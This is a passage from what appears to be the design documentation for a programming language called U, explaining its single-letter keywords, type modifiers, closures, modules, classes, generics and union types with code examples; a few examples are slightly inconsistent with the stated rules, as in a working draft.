        t.y = radius * sin(angle)   // defaults (0.0) since neither is in the map

// A caller CAN still set x/y directly — auto-assigned before __setup__ runs,
// then __setup__ recomputes and overwrites them from radius/angle anyway:
p = Point({ x: 99.0, radius: 2.0, angle: 1.57 })  // x=99.0 briefly, then overwritten

Surplus-argument dropping

A handler may declare fewer parameters than it will receive. Surplus arguments are silently dropped from the right. This is not the same as default values — the caller supplies all arguments; the callee simply ignores the extras.

Rule: if a function declares n parameters and is called with m > n arguments, the first n arguments are bound and the rest discarded. The declared parameter types must match the first n types the caller supplies — no implicit coercion.

Primary use case: iteration handlers. List and map methods pass (value, key); handlers that only care about the value declare one parameter and the key is dropped.
Uarity.u
// Array iteration: (value, index) passed, handler takes only value
nums = [10, 20, 30]
nums.on((n: I) => print(n.__string__()))     // index silently dropped
nums.on((n: I, i: I) => print(i.__string__() + ": " + n.__string__()))  // both

// Map iteration: (value, key) passed
scores: {S: N} = { "alice": 9.8, "bob": 7.4 }
scores.on((score: N) => process(score))         // key silently dropped
scores.on((score: N, name: S) => print(name))  // both — note value comes first

// Named functions also obey the rule when used as handlers:
f process(item: S) -> L   r => item.length > 0
items.filter(process)   // (S, I) passed, process takes (S) — I dropped

// Compile error — declared param type must match what's supplied:
// scores.on((score: I) => ...)  ← ✗ N supplied, I declared
04.5Functions

Closures & Arrow Functions

U has two function forms. They differ on naming, hoisting, and t capture.

f name(params)(params) => expr
NameRequiredOptional (usually anonymous)
HoistedYes — callable before declarationNo — it's a value expression
t (self)Explicit parameter — not capturedCaptured from enclosing scope
Multi-lineIndented body(params) => ( ... block ... )
Use forReusable named logic, methodsCallbacks, policies, inline transforms
No anonymous f functions. If you write f, name it. Names make functions findable, reusable, and documentable. Arrow functions are intentionally disposable — use them for one-shot inline logic.
-> for types, => for values — one symbol per role.
(I)->I — a function type: "takes I, returns I". Appears in type annotations after :.
(x: I) => x * 2 — a function value: "given x of type I, produce x * 2". Appears in expressions.

The visual distinction is deliberate. -> is the classical type-theory arrow (Haskell, Swift, Kotlin). => produces a value. Seeing (NetworkError)->() you immediately know it's a type; seeing (err) => retry(err) you know it's a closure.
Uclosures.u
// Named f — hoisted, t is explicit, not captured
f greet(name: S) -> S
    r => "Hello, " + name

greet("Alice")   // fine even before the f declaration above (hoisted)

// Arrow function — anonymous, captures t, is a value
greet: (S)->S = (name) => "Hello, " + name

// Multi-line arrow uses () block — last expr is the value
process: (I)->S = (num) => (
    doubled = num * 2
    "result: {doubled}"
)

// Closure — captures outer variable, subject to modifier rules
f make_multiplier(factor: I): (I)->I
    r => (num: I) => num * factor    // captures factor (I is -R, value-copied in)

double = make_multiplier(2)    // double: (I)->I
double(5)                     // 10

// Capture rules — same modifier rules as any variable
f setup()
    local: S = "hello"                // -R stack
    msg: S+R = c+R local          // heap copy

    ok: (()->())+F-R = () => log(local)    // ✅ non-escaping, in-scope only
    bad: (()->())+F+R = () => log(local)   // ❌ ERROR: +F +R captures -R local
    fine: (()->())+F+R = () => log(msg)    // ✅ +R captured into +F +R

// In a class: arrow captures t, f() does not
d Button
    clicks: I+M = 0

    f on_click()                    // t is explicit — this is a method call
        t.clicks = t.clicks + 1

    handler: (ClickEvent)->() = (e) =>  // arrow captures t from Button instance
        t.clicks = t.clicks + 1        // ✅ t is the Button

// Function values carry all modifiers like any other value
policy: (NetworkError)->()+R = (err) => retry(err)   // heap, shareable
policies: [(NetworkError)->()] = [log_to_sentry, retry_on_recoverable]  // array

// Passed to e.on() as a policy array — order defined, preserved
e.on(policies)
05Language

Keywords — 10 + 3

Thirteen keywords total: ten single-letter (a c d e f o r t w z) and three multi-letter literals (none, true, false). You can memorize the entire language vocabulary in five minutes.

a
async (don't await)
a fetch(url) — fork: spawn coroutine, result is +A future. Auto-await when the value is used. That's it — one meaning. Async functions declared with f+A. Cooperative yield: Process.yield(). Sleep: Process.sleep(ms).
c
copy
c expr — shallow copy. c+R expr — copy to heap; c+R(GPU) expr — to device memory. The target region rides the operator.
z
compile-time
z f func() — runs at compile time. z f __load__() — module initializer. z memoize(func, 60) — apply at call site.
d
define class
Class definition. No separate struct — modifiers determine layout and cost.
e
error / throw
Throw an error that propagates up the call chain automatically.
f
function
Named function declaration. Lambdas use => without f.
r
return target
r => value or r.field = ... for zero-copy return-by-construction.
t
this / self
Self reference inside a method. Like this in JS or self in Python.
w
∞ (infinity)
[1..w] or [1..] — infinite range. [0..w]*2 — evens. No while loops — use [1..].on(). For yields/events, use e.
o
outside / namespace
Import or export a namespace. o Math.Linear imports, o Math.Linear => (...) exports. Four import forms: plain, .* glob, scoped (...), scoped glob .*(...).
none
null literal
The null value. Type of a nullable binding is T+N. Use ?? to coalesce and +N to permit.
true
logical true
The logical true value. Type L.
false
logical false
The logical false value. Type L.
Ukeywords_demo.u
// f — named function          d — class definition
d Stack[T]
    items: [T]+R+M
    f push(stack: Stack+R+M, item: T)
        t.items.append(item)      // t — self/this
    f pop(stack: Stack+R+M) -> T
        t.items.is_empty() & e StackUnderflow()  // e — throw error
        r => t.items.remove_last()  // r — return

// w — infinity literal (∞)
f evens() -> I+W
    num = 2
    [1..w].on(() => (
        e num              // e value — emit to caller
        num = num + 2
        none               // continue
    ))

// o — import / capability
o Math.Linear                        // import module
o { Network.HTTP }                   // with capability
o => { evens, Stack }               // export

// c — compile-time function
fetch_cached = c memoize(fetch_data, 60)  // z f HOF, zero overhead

// none — the null value (multi-letter literal)
maybe_user: User+N = none
06Modifiers

The Modifier System — ±R ±M ±N ±V ±A ±E ±D

Modifiers are single letters prefixed with + or -, placed after the type. Three binary axes plus three hardware domain modifiers. All default to the - (cheapest, safest) option.

±R
Ownership

-R Local, stack-resident, non-shared. Zero ARC cost.
+R Heap-resident, ARC-managed, shareable.

default: -R
±M
Mutability

-M Immutable through this reference.
+M Mutable. Proxy-mediated when +R.

default: -M
±N
Nullability

-N Guaranteed non-null. No null check emitted.
+N May be none. Must handle before use.

default: -N
+V
Vectorize

On a function: vectorizable computation — compiles to CPU SIMD lanes or GPU warps. Earns the V by being -E -D (pure) plus bounded control flow and lane-representable operations; mutually exclusive with +E. Inferred where a handler qualifies; writing +V forces a compile error instead of a silent scalar fallback.
On data: vector-ready layout (contiguous, aligned, fixed-width) — can be fed to a +V function without repacking. Applies to numeric types: N32+V, I8+V. Invalid on L, S, B — compile error.

default: scalar / unprepared
+C
Cache Domain

Near-memory, cache-line aligned. Compiler emits prefetch hints. Useful for hot loop data.

default: no hint
+A
Async Domain

Pending value — result of a f() at the call site. Inferred automatically by the compiler when a is used; explicit annotation optional. Survives suspension (captured into the continuation closure). Works on any function — a at the call site launches concurrent work regardless of whether f was declared a f.

inferred from a
±E
Effects

-E Effect-free: writes nothing observable to the world — no I/O, no mutation of non-owned state, no suspension.
+E May have side effects. The E is for Effect.

default: -E
±D
Depends

-D Deterministic: output depends only on its inputs (parameters and t).
+D May depend on ambient mutable state — clock, RNG, mutable global, mutable capture. The D is for Depends.

default: -D
Default modifiers: scalars and function parameters default to -R -M -N (local, immutable, non-null — cheapest and safest). Collections (arrays, maps) and object properties default to +M since mutability is always the useful starting point there. Every other + is a deliberate, visible trade-off — nothing expensive happens without one.
Umodifiers.u
// -R -M -N default: stack, immutable, non-null — zero cost
f process(user: User, count: I) -> S   // all -R -M -N
    r => "done"

// +N nullable — result may be none
f find_user(id: I) -> User+N   // +N: may return none
    r => db.find(id)

// +R -M shared immutable — safe to broadcast, no lock needed
config: Config+R-M = load_config()
workers.on(worker => worker.configure(config))  // zero-copy broadcast

// +R +M shared mutable — proxy-mediated writes
cache: Cache+R+M = Cache() +M(MVCC)
cache.set(key, val)   // routed through MVCC proxy

// +V: vectorized execution (SIMD on CPU, warps on GPU)
simd_vec: [N32]+V = load_data()                  // CPU SIMD — data stays on CPU
gpu_vec:  [N32]+R(GPU) = c+R(GPU) simd_vec   // copy to GPU device memory
run_kernel(gpu_vec)                                 // dispatches as GPU warps

// same matrix type, different location — same API
weights: [[N32]]               = load_model()   // CPU scalar
weights: [[N32]]+V            = load_model()   // CPU SIMD
weights: [[N32]]+R(GPU)       = load_model()   // GPU device memory
weights: [[N32]]+R(Network)   = load_model()   // remote cluster

// +A survives suspension (captured in the continuation)
a handle() -> Response
    buf: [L]           = alloc(4096)  // -A: stack-local, NOT saved at suspension
    state: Req+R+A   = build_req()   // +A: captured into the continuation
    result = a net.get(state)          // suspend — only state saved, not buf
    r => parse(result, state)

The 8-Combination Matrix

CombinationContractAllocSyncNull chkARC
-R -M -Nlocal immutable non-nullstacknonenonenone
-R -M +Nlocal immutable nullablestacknoneon usenone
-R +M -Nlocal mutable non-nullstacknonenonenone
-R +M +Nlocal mutable nullablestacknoneon usenone
+R -M -Nshared immutable non-nullheaplock-freenoneinteger
+R -M +Nshared immutable nullableheaplock-freeon useinteger
+R +M -Nshared mutable non-nullheapproxynoneinteger
+R +M +Nshared mutable nullableheapproxyon useinteger

Effects and Determinism — ±E and ±D

Two axes describe what a function does beyond returning a value. They are independent, and together they give four honest categories. Both default to the restricted (safe, capable) pole, like the others.

CategoryMeaningExampleLicenses
-E -Dpure — no effects, inputs-onlya parser, a formatter, add(a,b)everything below
-E +Deffect-free but reads ambient stateMath.random(), Time.now()reorder, DCE, parallelize, retry — not memoize
+E -Ddeterministic but writes the worlda logger that always appends the same linememoize the pure part — not reorder/DCE
+E +Dfully effectfulan HTTP handler, a DB writenone — CEI discipline applies

The licenses split by axis, and this is the whole point of keeping them separate. Memoization, common-subexpression elimination, and compile-time evaluation need determinism (-D): you can only cache or fold a value keyed on its inputs. Reordering, dead-code elimination, parallelization, and retry-after-failure need effect-freedom (-E): you can delete, move, or re-run something that writes nothing. Math.random() is the case that forces the split — it is -E (harmless to reorder or delete) but +D (impossible to memoize, since there is no input to key on). A single axis would wrongly license memoizing it.

The one propagation rule, uniform across both axes: -X may only call -X. An effect-free function calls only effect-free functions — any +E callee could write during its execution, so it would not be effect-free. A deterministic function calls only deterministic functions — any +D callee's ambient dependence would reach its result. This makes both properties verifiable by reading one function and the annotations of what it calls — a local check, never a whole-program trace. That locality is the property an automated reader depends on: the hazard is isolated by the annotations, not reconstructed by analysis.

What counts as +D — reachable-from-inputs, not mutable-vs-immutable. Reading t's fields is -D, even mutable ones: the receiver is an input, so user.full_name() reading mutable first/last is deterministic (memoizable keyed on the receiver's state). What breaks -D is reading mutable state not reachable from the inputs: a clock, an RNG, a mutable global (+G+M), or a mutable capture from an enclosing scope. Immutable state is always -D, wherever it lives — a frozen -M global is a constant. This is why, given how much you can do with mutable fields and arrays reached through inputs, most well-factored functions are honestly -D: the common patterns stay deterministic, and +D becomes a rare, meaningful signal that a function genuinely reads the environment.

Conservative and static by design. A function that writes then undoes the write is +E, not effect-free — the algebra credits no runtime cancellation, because "do these effects net to zero" is a whole-program, undecidable question, and answering it would destroy the local-readability that is the entire point. Any statically-reachable effect makes a function +E; any statically-reachable ambient read makes it +D. The author either accepts the mark or refactors so the thing isn't there to cancel. The conservative definition is what buys the "read one function to know its contract" guarantee.

Why declare what the compiler could infer. The compiler and IDE can infer -E/-D by the same call-closure analysis, and they autofill it — you rarely type it by hand. But the recorded annotation does three things inference cannot. It survives change: add a Time.now() three calls deep and a declared -D turns the silent loss of determinism into a compile error at the offending site, instead of a memoization that quietly goes wrong. It crosses library boundaries: determinism only composes across a dependency if it is declared on the signature, where a caller can read it without re-analyzing source it may not have. And it records intent: an inferred fact is what the code currently is; a declared contract is what the author meant, which is exactly the thing a future editor — human or automated, with no memory of the original reasoning — needs on the signature rather than buried in the body. A writer has many readers downstream; each annotation is written once and read on every future query, every dependency, every regeneration. The small discipline of reasoning it through compounds outward.

05.5Language

Namespaces & Modules — o

The o keyword ("outside") handles both import and export. Dots in class and function names are free namespacing — d Foo.Bar is simply a class named Foo.Bar, no special mechanism needed. o declares which namespace a file contributes to, and how to bring namespaces into scope.

Importing — four forms

Uimport forms
o Math.Linear              // qualified: Linear.matmul, Linear.Foo available
o Math.Linear.*            // glob: matmul, Foo available as bare names
o Math.Linear (            // scoped qualified: only inside this block
    result = Linear.matmul(a, b)
)                          // Linear no longer in scope here
o Math.Linear.* (          // scoped glob: only inside this block
    result = matmul(a, b)  // bare name works here
)                          // matmul no longer in scope here
Why not .* by default? Two modules both exporting transform or parse create silent conflicts. The explicit .* is a visible declaration: "I know I'm unpacking everything into this scope."

Exporting — o Name => (...)

Combined declare-and-export: o => d Name. A module that declares a class and exports it under the same name can fuse the two: o => d Data both declares class Data and exports it, replacing the d Data ... / trailing o Data => Data pair. The stdlib uses this form throughout. The longer o Name => d Name (explicit both sides) and the separate forms remain valid.

The => direction makes intent unambiguous: this block produces into the namespace. Multiple files can contribute to the same namespace — open extension, like traits. This is not prototype pollution: adding methods to a class you don't own requires the o declaration to explicitly claim that capability. The compile-time capability system enforces that a module can only extend classes whose namespaces it has declared access to — an undeclared extension is a compile error, not a silent mutation of someone else's type.

Uexport / namespace declaration
// file: math/linear.u

f _helper(a: [N32+V], b: [N32+V]) -> N  // _ prefix → private, never exported
    a.reduce((acc, i, v) => acc + v * b[i], 0.0)

o Math.Linear => (

    d Result              // becomes Math.Linear.Result
        value: [[N32+V]]
        error: N

    f matmul(a: [[N32+V]], b: [[N32+V]]): [[N32+V]]  // t absent → +G inferred
        r => a.on((i, row) => row.on((j, _) => _helper(row, b.col(j))))

    f scale(factor: N): [[N32+V]]              // t used below → instance method
        r => t.on((i, row) => row.on((j, v) => v * factor))

)

Static vs instance — inferred from t

The compiler scans the function body for the keyword t (self). Present anywhere → instance method. Absent → +G (static) inferred. No annotation needed. A function with no t has no business being an instance method — the rule is correct by definition, not just convenient.

Ut-inference.u
o Geometry => (
    d Circle
        radius: N

    f unit_circle() -> Circle         // no t → +G, called as Geometry.unit_circle()
        r => Circle( radius: 1.0 )

    f area() -> N                     // t used → instance method
        r => Math.PI * t.radius ^ 2

    f scale(factor: N) -> Circle     // t used → instance method
        r => Circle( radius: t.radius * factor )
)

// static callable on instance as sugar:
c = Geometry.unit_circle()         // direct
c = some_circle.unit_circle()       // also valid — desugars to above

Multi-file namespaces — open extension

Uextension.u
// math/linear_basic.u
o Math.Linear => ( f matmul(...) )

// math/linear_advanced.u — extends same namespace
o Math.Linear => ( f svd(...)  f lu(...) )

// conflict (same function name in two files) = compile error

External packages

Upackage.u
o "github.com/u-lang/math"   // external — resolved by package manager
o "./utils"                  // relative — exposes utils/*.u namespaces
6.5Type System

+F — The Function Domain Modifier

The modifier set gains a seventh dimension: +F, the function domain. All modifiers are commutative — the set is unordered. Three forms: bare, nullary, and typed.

Modifier Commutativity — The Fundamental Rule

Order never matters. Modifiers form a set, not a sequence. T +R +M and T +M +R are identical. T +F +A +R and T +R +A +F are identical. The parser normalizes to canonical order for display; semantics are always position-independent.

The Complete Seven-Dimension Modifier Set

ModifierDomainMeaningDefault
±ROwnership-R: stack-local · +R: heap, ARC-R
±MMutability-M: immutable · +M: mutable, proxy-mediated-M
±NNullability-N: non-null · +N: may be none-N
VVectorized float
+CCacheNear-memory, prefetch
+AAsyncAsync domain: pending or suspendable
+FFunctionCallable producing the base type T

Three Forms of +F

FormMeaningUse case
T +F
bare — no parens
Any callable producing T. Input types unspecified. Compiler enforces T's full modifier stack without constraining inputs. Heterogeneous callable collections, factories, hooks
T +F()
explicit nullary
Explicitly zero-argument callable producing T. Thunks, lazy initializers, event callbacks
T +F(S)
typed args
Function taking S, producing T. Full type information. Typed callbacks, typed transformers
Bare +F accepts any callable producing T. The compiler still enforces everything about the output — +N (nullable handling), +R (heap allocation), +A (async await) — without knowing or caring what arguments the callable takes. A collection typed [Config +R +F] guarantees every callable returns a shared Config, no matter its input shape.

+F in Practice

Ufunction_modifier.u
// ── Bare +F: heterogeneous callables, homogeneous output ──────
hooks: [Config+F] = []        // any callable producing Config
hooks.append(load_from_file)       // Config +F(path: S)
hooks.append(load_from_env)        // Config +F()
hooks.append(load_with_default(b)) // Config +F() +R (closure)
// compiler: every result is Config — enforces modifiers on output
configs: [Config] = hooks.on(hook => hook(...))

// ── +F(): explicit nullary ────────────────────────────────────
thunk: Config+F() = () => Config.default()
cfg = thunk()                    // called with zero args

// ── +F(S): fully typed ───────────────────────────────────────
parser: Config+F(S) = parse_config  // takes S, returns Config
cfg = parser(raw_json)

// ── Composing with other modifiers (commutative) ─────────────
handler: Config+F(S)+R          // escaping closure
fetcher: Config+F(S)+A          // async function
maybe:   Config+F(S)+N          // nullable reference
esc_async: Config+F(S)+R+A     // escaping async closure

// Order is irrelevant — all identical:
Config+F+R+A == Config+A+R+F == Config+R+A+F  // same type

+F Compiler Oracle

TypeCompiler decision
T +F (bare)enforce full T modifier stack on output — no constraint on inputs
T +F without +Rinline or static ptr — no indirection
T +F +Rindirect call via closure vtable
T +F +Aauto-await check inserted at call site
T +F +R +Avtable call + auto-await
T +F +Nnull check before call

+F +A — Async Function Type

Config +F(S) +A = async function taking S, producing Config. When called without a: auto-await, Config delivered transparently. When called with a: Config +A pending.

Commutativity confirms: +F +A = +A +F = one type, one meaning. "Async function returning T" and "function returning T +A" collapse — the call site determines which you get.

+F +R — The Bound Closure Type

A method closure capturing t (self) needs heap allocation to outlive its call frame — that's exactly +F +R. No separate bound-method concept needed.

d Server
    f get_handler(server: Server+R) -> Response+F(Request)+R
        r => req => t.handle_request(req)   // captures t — needs +R

handler: Response+F(Request)+R = server.get_handler()
route.register(path, handler)       // stored in routing table, survives

Bare +F for Dependency Injection and Plugin Systems

// Plugin system: all plugins produce S, inputs vary
d PluginRegistry
    plugins: Map   // keyed by name

    f register(registry: PluginRegistry+R+M, name: S, plugin: S+F)
        t.plugins[name] = plugin   // S +F: any callable producing S

    f run(registry: PluginRegistry, name: S) -> S+N
        plugin: S+F+N = t.plugins[name]
        r => plugin & plugin(...)   // null-guard + call
// Compiler: result is S, handling enforced regardless of plugin internals
07Types

Classes, Inheritance & Policy — d, t, :

Classes use d. No separate struct keyword — a -R instance compiles identically to a C struct on the stack. t is self inside methods. : introduces a base class. No multiple inheritance.

Type aliases — d Foo : Bar with no body

The same : that introduces a base class also declares a type alias when the declaration has no body: d Meters : N makes Meters a transparent synonym for N, and d NodeId : Shape.Circle aliases a class. The discriminator is simply whether there's a body — d Foo : Bar with fields or methods is inheritance (Foo is a subclass adding to Bar); d Foo : Bar with nothing under it is an alias (a distinct-but-empty subclass would be pointless). This is deliberately a smooth path: a name starts as an alias, and the moment you add a field or method it becomes a real subclass — "extend it later" without changing the declaration's shape.

A union on the right is always an alias — you can't inherit from a union, and U has no multiple inheritance — so d Id : UserId | OrgId | S names the union type UserId | OrgId | S. An alias is transparent: Foo and its target are interchangeable everywhere, and x :: Foo tests against the resolved target (for a union alias, true if x is-a any member).

Ualiases.u
// Single-target alias — transparent synonym
d Meters : N
d NodeId : S

// Union alias — names a union type, always an alias (no body possible)
d Id : UserId | OrgId | S

// Same syntax WITH a body → inheritance, not an alias
d Shape.Circle : Shape
    radius: N +M = 0.0

The +M(policy) modifier declares how +R +M instances are mediated — either as a class-level default or overridden at the binding site.

Uclasses.u
// Basic class
d Point
    x: N
    y: N
    f distance(other: Point) -> N
        dx = t.x - other.x       // t = self
        dy = t.y - other.y
        r => (dx*dx + dy*dy).sqrt()

// Inheritance — : introduces base class, no multiple inheritance
d Animal
    name: S
    f speak() -> S
        r => "..."

d Dog : Animal           // Dog inherits from Animal
    breed: S
    f speak() -> S
        r => "Woof"          // override

// +P — policy modifier, class-level default
// all +R +M instances of Counter are Actor-mediated by default
d Counter+M(Actor)
    value: I
    f increment(t: Counter+R+M)
        t.value = t.value + 1

// Caller: no a needed — auto-await handles Actor dispatch transparently
counter: Counter+R+M = Counter()
counter.increment()    // enqueued and serialized by Actor policy

// Binding-site override — same class, different policy
c2: Counter+R+M(MVCC) = Counter()   // override to MVCC

// Policy + inheritance combined
d LiveCounter+M(Actor) : Counter
    last_updated: S
Mutation requires +M at every step. +M on a binding grants mutation rights to +M properties. A -M property is const after initialization — the binding's +M does not override it. The most restrictive wins at each property access.
Prevents at compile time: const mutation. cfg.host = "x" where host is -M is a type error regardless of whether cfg is +M. The property's declaration wins.

Copy semantics — c is a shallow-by-declaration prefix operator

c is a prefix operator, not a method. Copy is written c expr (default), c+R expr (to heap), or c+R(GPU) expr (to device memory) — the target region rides the operator as a modifier, exactly like f+G/f+V ride the function keyword. It is a prefix operator rather than a .c() method precisely because U allows single-letter member names: point.x, point.c, and node.f are all valid fields, so a .c() method would be ambiguous with a user field named c. Copy (c) and compile-time (z) are separate keywords, so there is no overload to disambiguate — each single-letter keyword carries exactly one job (w is just the infinity literal).

When you apply c to a class instance:

The class definition itself declares copy semantics through property modifiers — no separate clone() protocol needed. This is exactly PHP's clone behavior: inline values copy, references share.

Ucopy-semantics.u
// Inline nested structs — -R means value-embedded, copies recursively
d Vec2                       // small value type, always -R by default
    x: N
    y: N

d Material+R(RAII)         // GPU resource — always lives on heap
    shader: S
    f __cleanup__(t: Material+R)    // called automatically when last ref drops
        gpu.release(t.shader)

d Mesh
    origin:   Vec2             // -R inline: Vec2 embedded, copies by value
    count:    I                // -R inline: scalar, copies by value
    vertices: [Vec2]+R      // +R heap array — reference shared on c
    normals:  [Vec2]+R      // +R heap array — reference shared on c
    material: Material+R    // +R heap object — reference shared on c

a = Mesh( origin: Vec2( x: 0.0, y: 0.0 ), count: 3,
          vertices: [...], normals: [...],
          material: Material("pbr") )
b = c a

// b.origin   → new Vec2 (inline — x and y duplicated)
// b.count    → 3 (scalar copy)
// b.vertices → same heap array as a.vertices (reference shared)
// b.normals  → same heap array as a.normals  (reference shared)
// b.material → same Material as a.material   (RAII refcount++)

b.origin.x = 1.0    // OK — b.origin is its own copy
a.origin.x           // still 0.0 — unaffected

// Want independent vertices? Copy the array explicitly:
b.vertices = c a.vertices   // b now has its own vertex buffer

// +R on a local binding: heap-allocated, shareable via +R properties
mat: Material+R = Material("wireframe") // heap, refcount=1
c: Mesh+R+M = Mesh(...)
c.material = mat    // OK: mat is +R — can be shared, refcount→2

// +R cannot reference a plain -R stack var — no refcount, compile error
plain: Vec2 = Vec2( x: 1.0, y: 2.0 )  // -R stack
c.material = plain   // ❌ types differ: +R expected, -R given

Method overrides and explicit parent calls

To override a method, redefine it in the subclass. To call the parent version, use ParentClass.method(args)t is passed implicitly. There is no super keyword and no auto-super magic.

The one inference point: t present in body → instance method. t absent → +G (static). This applies to overrides too — a static parent method overridden with a static child method just works. If a parent changes a method from static to instance, the subclass breaks at the next compile — surfacing the breaking change immediately, never silently at runtime.
Uoverrides.u
d Bar
    name: S
    f __setup__(a: I)
        t.name = a.__string__()
    f greet() -> S                    // instance — t used
        r => "Hello from " + t.name
    f version() -> S                  // static — no t
        r => "Bar v1"

d Foo : Bar
    x: S = "default"

    f __setup__(a: I, b: S)
        Bar.__setup__(a)            // explicit — t passed implicitly
        t.x = b                       // own init after parent

    f greet() -> S                    // overrides instance method
        base = Bar.greet()           // call parent — t implicit
        r => base + ", also " + t.x

    f version() -> S                  // overrides static — no t here either
        r => Bar.version() + "-Foo"

// Not calling Bar.__setup__ is valid — deliberate choice
// Compiler warns if __setup__ never calls parent's
07.4Types

Minimal Generics — Type Parameters on Classes

Classes may declare type parameters to express the type of contained values. Type parameter names must be multi-letter — single letters are reserved for keywords and primitive types. One exception: T is universally understood as "the type parameter" and is reserved for this use. All others must be multi-letter: Key, Val, Elem, Result — self-documenting and safe from future single-letter language additions. Domain-specific names like Vertex are equally valid.

Generics in v1 are class-level only. Generic functions use interfaces for polymorphism. Modifiers compose with type parameters and are validated at instantiation: [ElemType+V] requires ElemType to be a numeric type — VectorStore[S]() is a compile error.

Ugenerics.u
// Type suffix recommended for generic names:
d Stack[ElemType]
    items: [ElemType]+M = []
    f push(item: ElemType)     t.items = [...t.items, item]
    f pop() -> ElemType+N        r => t.items.length > 0 ? t.items.last() ! none

d Result[OkType, ErrType]
    value: OkType+N
    error: ErrType+N
    f ok() -> L   r => t.error == none

// Domain names valid when context is clear:
d Graph[Vertex, Edge]
    nodes: [Vertex]+M = []
    edges: [Edge]+M   = []

// Modifiers validate at instantiation:
d VectorStore[ElemType]
    data: [ElemType+V]+R(GPU)   // ElemType must be numeric

VectorStore[N32]()   // ✓
VectorStore[S]()     // ✗ compile error: S+V invalid

// Generic functions use interfaces instead:
d Comparable!
    f compare_to(other: Comparable) -> I
f max(a: Comparable, b: Comparable) -> Comparable
    r => a.compare_to(b) > 0 ? a ! b
Naming rule: type parameter names must be multi-letter. Single letters are reserved for keywords (a c d e f o r t w z) and primitive types (I U N Q S L B C). The compiler enforces this. Type suffix is convention, not enforced — the compiler only requires multi-letter.
07.6Types

Union Types — T|S

A union type T|S declares that a value may be any one of its member types. The method dispatch rule is strict: a method call on T|S is valid at compile time if and only if an exact matching signature exists for every member of the union. No guessing, no widening — exhaustive coverage or compile error.

For overloaded methods this means each member type must have its own exact overload. The compiler verifies coverage statically and emits the appropriate dispatch.

+N is syntactic sugar for T|none — the most common union. Narrowing with expr :: Type reduces a union to a specific member inside a branch.

Generic union parameters: Stack[I|S] is a stack that holds integers or strings — declared explicitly, never inferred. This is the correct answer to mixed-type collections.

Uunion.u
val: I|S = get_something()
val.__string__()           // ✓ both I and S have __string__()
val.length               // ✗ only S has .length — narrow first

val :: I
    ? val.abs()          // val is I here
    ! val.uppercase()    // val is S here

// Overloaded methods: exact overload for each member = valid
d Formatter
    f render(v: I) -> S  => "int:" + v.__string__()
    f render(v: S) -> S  => "str:" + v
x: I|S = get_val()
fmt.render(x)            // ✓ exact overload exists for both I and S

// Generic union parameter
stack: Stack[I|S] = Stack[I|S]({})
stack.append(42)           // ✓ I is in I|S
stack.append("hi")         // ✓ S is in I|S
stack.append(3.14)         // ✗ N is not in I|S — compile error

// +N is sugar for T|none
name: S+N  = get_name()   // equivalent to S|none
name ?? "anonymous"

// Three-member union with exhaustive narrowing
token: I|S|L|none = parse()
token :: I ? handle_int(token)
      ! token :: S ? handle_str(token)
      ! token :: L ? handle_logical(token)
      !            skip()
07.5Types

Type Hierarchies — U's Enum Replacement

U has no enum keyword. Instead, named subtypes with dot-namespace syntax serve the same purpose — and more, because they participate in the event system, error system, and type dispatch natively.

The pattern: d Foo.Bar : Foo declares a type Bar namespaced under Foo, inheriting from Foo. Zero-field types are auto-singletons — Color.Red as an expression IS the value, no () needed.
Utype-hierarchy.u
// Define a base type and its variants
d Color
d Color.Red   : Color    // zero-field → auto-singleton
d Color.Green : Color
d Color.Blue  : Color

// Color.Red IS the value — no () needed
bg: Color = Color.Red
bg :: Color.Red    // L true — isinstance
bg :: Color        // L true — base type

// Variants can carry data (unlike traditional enums)
d Shape
d Shape.Circle    : Shape  { radius: N }
d Shape.Rect      : Shape  { width: N, height: N }
d Shape.Triangle  : Shape  { base: N, height: N }

// Dispatch via # type test
area = shape :: Shape.Circle
? Math.PI * shape.radius ^ 2
! shape :: Shape.Rect
? shape.width * shape.height
! shape.base * shape.height / 2

// Hierarchical namespaces
d NetworkError
d NetworkError.Transport         : NetworkError
d NetworkError.Transport.Timeout : NetworkError.Transport
d NetworkError.Transport.Refused : NetworkError.Transport
d NetworkError.Protocol          : NetworkError
d NetworkError.Protocol.SSL      : NetworkError.Protocol

The pit of success: typed middleware over switch/match

U has no switch or match keyword. This is deliberate. Enumerating cases in a closed dispatch block couples the caller to every variant — adding a new case requires finding and updating every dispatch site. The open alternative is typed handlers:

Udispatch-vs-middleware.u
// ❌ closed dispatch — every new Shape breaks this
area = shape :: Shape.Circle   ? Math.PI * shape.radius ^ 2
     ! shape :: Shape.Rect     ? shape.width * shape.height
     !                           0.0   // ← new shapes silently return 0

// ✅ open dispatch — new Shape? add one handler, no existing code changes
renderer.on((s: Shape.Circle)   => draw_circle(s.radius))
renderer.on((s: Shape.Rect)     => draw_rect(s.width, s.height))
renderer.on((s: Shape.Triangle) => draw_triangle(s.base, s.height))
// add Shape.Hexagon later? one new line, zero regressions

// Same pattern already used for errors:
e.on((err: NetworkError.Transport.Timeout) => retry())
e.on((err: NetworkError.Protocol.SSL)       => alert_security())
// errors and enums are the same pattern. one mechanism.

Static fields — +G

+G is for class-level (static) fields — shared across all instances, not per-instance. Separate concern from type hierarchies.

Ustatic-fields.u
d Config
    api_url:  S +G    = "https://api.example.com"  // static constant
    timeout: I +G    = 30                        // static constant
    calls:   I +G+M  = 0                         // static mutable counter
    host:    S       = "localhost"               // instance field (no +G)

Type test — expr :: Type

Given types are known at compile time, it might seem redundant — and for a variable used at its own declared type, it is: Point is always exactly Point. It stops being redundant the moment polymorphism is involved: a variable's static type can be a base type while its runtime value is a more specific subtype — shape: Shape = pick_a_shape() tells the compiler nothing about which Shape variant is actually there. expr :: Type exists for exactly this narrowing, and it's the same operation both the closed-dispatch ternary form and the open .on() handler-registration form are built on underneath — registering renderer.on((s: Shape.Circle) => ...) only makes sense because the compiler can check, at the point a Shape value actually arrives, whether it in fact is a Shape.Circle.

An infix operator — :: reads as "is-a" (x :: Foo — "is x a Foo?"). It is deliberately a distinct operator from the : of a type annotation, and that distinction removes the one real ambiguity in the surface syntax: a : I declares a to be of type I (annotation), while a :: I tests whether a is an I at runtime (is-a). One colon binds a name to a type; two colons ask a question about a value. :: is otherwise unused in U — there is no Class::member static-scope syntax (member access is always .) — so the operator is free for exactly this purpose. Copy (c expr) and is-a (x :: Type) being operators rather than methods means no single-letter methods are reserved — point.x, point.c, and node.f are all valid fields. .on() is a two-letter method on generators and event-emitting classes, not a reserved keyword. Works the same on a parameterized type: x :: Stack[I] asks whether x is a Stack of I specifically.

Utype-test.u
shape: Shape = pick_a_shape()

// closed dispatch — condition is a type-test
area = shape :: Shape.Circle ? Math.PI * shape.radius ^ 2
       ! shape :: Shape.Rect    ? shape.width * shape.height
